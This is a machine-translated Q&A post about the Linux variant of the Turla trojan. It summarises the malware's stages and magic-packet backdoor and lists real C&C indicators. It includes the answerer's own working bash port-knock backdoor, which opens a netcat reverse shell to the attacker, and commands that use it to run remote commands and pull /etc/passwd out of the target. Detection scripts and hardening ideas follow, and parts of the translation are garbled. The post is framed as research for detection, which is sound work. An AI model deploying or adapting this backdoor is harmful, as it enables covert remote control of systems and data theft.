新しく発見されたLinuxベースのTurlaトロイの木馬を説明する articles がいくつかあります。
しかし、基本的に、これらの記事はすべて同じ非常に限られた情報を繰り返します。誰でも次のような詳細を提供できますか?
TURLAは、大規模で洗練されたマルウェアファミリの最終段階です。 2010年以降、Windowsのバージョンが知られています。この40ページのプレゼンテーションは、どちらのプラットフォームでも、私が見た中で最も包括的なリソースです。
一部のWindowsハイライト
ステージ0:注入ベクトル
スピアフィッシング ( CVE-2013-3346 )( CVE-2013-5065 )
ウォーターホール [Adobe Updateソーシャルエンジニアリング/ Javaエクスプロイト( CVE-2012-172 )、Adobe FlashエクスプロイトまたはInternet Explorer 6,7 、8エクスプロイト]
サードパーティサプライヤーの妥協
ステージ1:偵察ステージ
最初のバックドア-WipBot/Epic/TavDig
WipBotはゼロデイとCVE-2013-3346エクスプロイトの組み合わせです
TURLAと同じ名前の関数をエクスポートします。他の類似点はありません
デバッグとほとんどのマルウェアサンドボックスを壊す
プロセスホップを数回実行し、自身をワイプします PEセクション
Kaspersky Labレポート でさらに説明
ステージ2:横方向の動き
C&Cをリファイン
ネットワークをさらに浸透
新しいバックドアを利用する
ドメイン管理者の資格情報を取得します
ステージ3:トゥラ
長期的な妥協のために一部のマシンにドロップ
マシンは何年もの間検出されずに侵害される可能性があります
その他のリソース
「ペンギントゥラ」- Kaspersky Lab (Linux固有の詳細)
シマンテックレポート- Turla
Linuxハイライト
C/C++で記述されたTurlaモジュール
cd00r に基づく
実行可能ファイルは複数のライブラリに対して静的にリンクされています
その機能には、隠しネットワーク通信、任意のリモートコマンド実行、およびリモート管理が含まれます。
そのコードの多くは公開ソースに基づいています
netstatで検出できない
Rootアクセスは必要ありません
Linux実行可能ファイルの特性
Linux静的にリンクされたライブラリ
glibc2.3.2-GNU Cライブラリ
openssl v0.9.6-古いOpenSSLライブラリ
libpcap-tcpdumpのネットワークキャプチャライブラリ
Linux C&Cの詳細
第1ステージのC&Cはハードコーディングされています。既知のアクティビティ@ news-bbc.podzone [。] org
pDNS IP:80.248.65.183
Linux起動/実行の詳細
プロセスには2つのパラメーターが必要です:ID(「認証用のマジックパケット」の一部として使用される数値)と既存のネットワークインターフェイス名
パラメータは、STDINから、またはドロッパーからサンプルを起動するという2つの異なる方法で入力できます。
IDとインターフェース名を入力してプロセスを起動すると、バックドアのプロセスPIDが返されます
Linuxマジックパケット
PCAPライブラリーを静的にリンクします
生のソケットを取得し、フィルターを適用し、パケットをキャプチャします
TCPヘッダー、またはUDPパケット本文の2番目のバイトにあるACK番号をチェックします
条件が満たされると、パケットペイロードのコンテンツにジャンプして通常のソケットを作成します
バックドアは新しいソケットを使用してMagic Packetsの送信元アドレスに接続します
バックドアは独自のPIDとIPを報告し、コマンドの受信を待機します
到着したコマンドは "/ bin/sh -c"スクリプトで実行されます
最終メモ
Linuxバージョンに関するすべては、カスペルスキーのレポートからのものです。残念ながら、現時点では検出は非常に難しいようです。
「TurlaフレームワークからのLinuxバリアントが存在することが知られていましたが、実際にはまだ見られていません。」-Kaspersky Lab
それらを検出する方法を見つけるために、私はコンセプトと方法に強く取り組んできました。
このため、ほぼ同じ方法で動作する小さなbashスクリプトをすばやく作成しました。
そこから、Un * xの概念に関するいくつかの追加の知識とともに、私は私のチェックリストを投稿します。これは、どのシステムでもこの機能するトロイの木馬を見つけるのに役立ちます。
これがどのように機能するかを理解するために、私はこれを書きました:
(これは、何らかのリモートエクスプロイト、ウイルスなどによって、ターゲットホストで実行する必要があります。)
#!/bin/bash
myIpSum=${1:-1b673d1250747dd45696ff954aceed02}
myIpSalt=SaltMyIP
printf -v bport %04X ${2:-22} # port to watch for incoming ``knock''
printf -v rport %d ${3:-80} # change this to >1024 if'nt root on attacker's Host!
while :;do
while IFS=': ' read seq loci locp remi remp foo;do
[ -z "${seq//[0-9]}" ] &&
[ "$locp" == "$bport" ] &&
[ "$remp" != "0000" ] &&
myIpAdd=$[16#${remi:6:2}].$[16#${remi:4:2}] &&
myIpAdd+=.$[16#${remi:2:2}].$[16#${remi:0:2}] &&
chksum=($(md5sum <<<$myIpSalt$myIpAdd)) &&
[ "$chksum" == "$myIpSum" ] &&
nc -w 10 -c "/bin/bash ${4} 2>&1" $myIpAdd $rport
done < /proc/net/tcp
read -t .5 -n 1
[ "$REPLY" == "q" ] && exit 0
done
これは完全にndetectableではありませんが...
特徴
netstat
を使用してもまったく検出されません。注: Real trojanプロキシ経由でも機能するために、SSLと実際のHTTPヘッダーを使用できます!!
これは4つの引数を受け入れます。
$0 [myIpSum [KnockDoorPort [myPort [-i]]]]
myIpSUm
は、ソルト付きのハッシュattackerのIPです。 md5sum <<<SaltMyIP192.168.1.31
を使用してレンダリングできます(スクリプトで塩を変更できます)。KnockDoorPort -> bport
は、ターゲットホストで使用されている、すでにバインドされているポートです(ターゲットがSSHを提供する場合のサンプルでは22ですが、開いている任意のポートを使用できます)。myPort -> rport
は、着信接続に使用されるローカルの攻撃者のポートです(80は発信http接続のように見えます)。-i
フラグを使用すると、bash
をインタラクティブに実行できますShellshock
または任意のbuffer-overflowなどのリモートエクスプロイトを使用してこのスクリプトを実行することです。knock door
をポート22に送信するために、ターゲットのIPを知る必要がありますあなたはターゲットのシェルでロガーです!
bash -c "nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
";nc -l -p -w 3 -q 3 80 <<<"$remoteCommandLine with args"
サンプル:
bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
';nc -l -w 5 -q 3 -p 80 <<<uptime
18:43:00 up 21 days, 6:19, 1 user, load average: 0.00, 0.01, 0.00
または
bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
';nc -l -w 5 -q 3 -p 80 <<<'tar -zcC /etc passwd group 2>/dev/null' |\
tar -ztvf -
-rw-r--r-- root/root 1222 2011-11-19 10:00 passwd
-rw-r--r-- root/root 611 2011-11-19 10:00 group
スクリプトはターゲットホストで実行されたままで、攻撃者の接続が開かれていない間は、netcat
を使用しても実行中のスクリプトは表示されません。
Knock
は、ポート22で一度実行されますが、多くの接続が失敗するのはregularです。実際 Shell 接続は、発信HTTP接続のように見えます。
Linuxマシンが感染する方法
これはtrojanなので、この質問は実際には問題になりません...(サンプルについては Shellshock を参照)
権限の昇格が含まれていますか、それとも感染したユーザー(つまりuid 1000)でのみ発生していますか
いいえ、これの目標の1つは、攻撃者が実行方法を検索できるようにすることです特権の昇格。
マルウェアコードは感染したマシンのどこに「生きている」のか
どこでもどこでも:これを添付ファイルとして実行すると、それらがどこに保存されたかがわかるでしょう。リモートエクスプロイトから実行された場合、実行されたバイナリを削除する可能性があります。
Turlaがバイナリ(Cで書かれたもの)の場合、haveをUn * xシステムのどこかに保存し、実行するために実行可能フラグを設定します。最近のファイルシステムは実行後にそれらを削除することを許可していますが、inodeはそのままにしておく必要があります!
これは、システムで実行されているがstandard PATH
にあるバイナリを検索している場合に明らかになる可能性があります。
trojanがスクリプトの場合、バイナリのみをファイルシステムにリンクする必要があるため、スクリプトを削除するか、STDIN
として実行して、すべて。
その他の興味深い詳細
私のbashスクリプトを試してください...
forked pidsを検索します(親Pid == 1の場合)
grep PPid:\\s1$ /proc/*/status
PATH
からバイナリを実行しないプロセスを検索します
for pid in $(ps axho pid);do
readlink /proc/$pid/exe |
sed 's/\/[^\/]*$//'|
grep -q "^${PATH//:/$\|^}$" ||
printf "%10d %-16s %s\n" $pid "$(
sed 's/Name:[\t ]*//;q' /proc/$pid/status
)" "$(
readlink /proc/$pid/exe
)"
done
長時間実行されているプロセスを検索する
ps axho pid,etime,user,cmd
...
ps axho pid,etimes,user,cmd | grep -v '[0-9] root ' | sort -nk2
スクリプト:隠蔽のようなプロセスを検索:exe
とcommand line
を比較
for pid in $( grep PPid:\\s1$ /proc/*/status | cut -d/ -f3 ) ;do
printf "%10d %-40s %s\n" $pid "$(
readlink /proc/$pid/exe)" "$(</proc/$pid/cmdline)"
done
apparmor
を使用すると、プロセスアクセスtcp stack(およびdp stack)を監視できます。
tcpdump
を使用すると、大変な作業がありますが、効率的な解決策です。
outgoing接続があらゆる種類の要求を行って応答になるのを監視します不必要に直後に、次の要求をすぐに送信後に最初の回答を受け取ってから、最後の要求の回答を気にしない:exit
ディレクティブを受け取ると、logout.
のように言って終了し、次のように駆動されます現在の最後のhttp要求セッション、ただし before を閉じるhttp応答。
実際、データ交換が通常の送信接続のスキームと一致しないが、サーバー開始-受信接続-サーバー停止のハイブリッドスキームである送信接続を見つける必要があります。
もちろん、これはtrappedである必要があります。永続的に開いている接続がないためです。
システムコール統計の作成(apparmorを使用)
このアイデアを提供してくれたalphanetに感謝
実行中のプロセスごとに統計を作成し、
それらをベイジアンツールに送信して計算通常のプロファイル
新しいプロセスが一致しない場合にアラートを受け取るには通常のプロファイル(または実行中のプロセスが変更された場合でも)。
Turlaがcd00rに基づいているとすると、特権の昇格は必要ありません。
cd00rは、通常のユーザーアプリケーションとして実行され、事前定義されたポートでinetdサービスを開始します。したがって、intedの実行権限を削除するだけで、それをブロックできます。
Sudo chmod o=r `which inetd`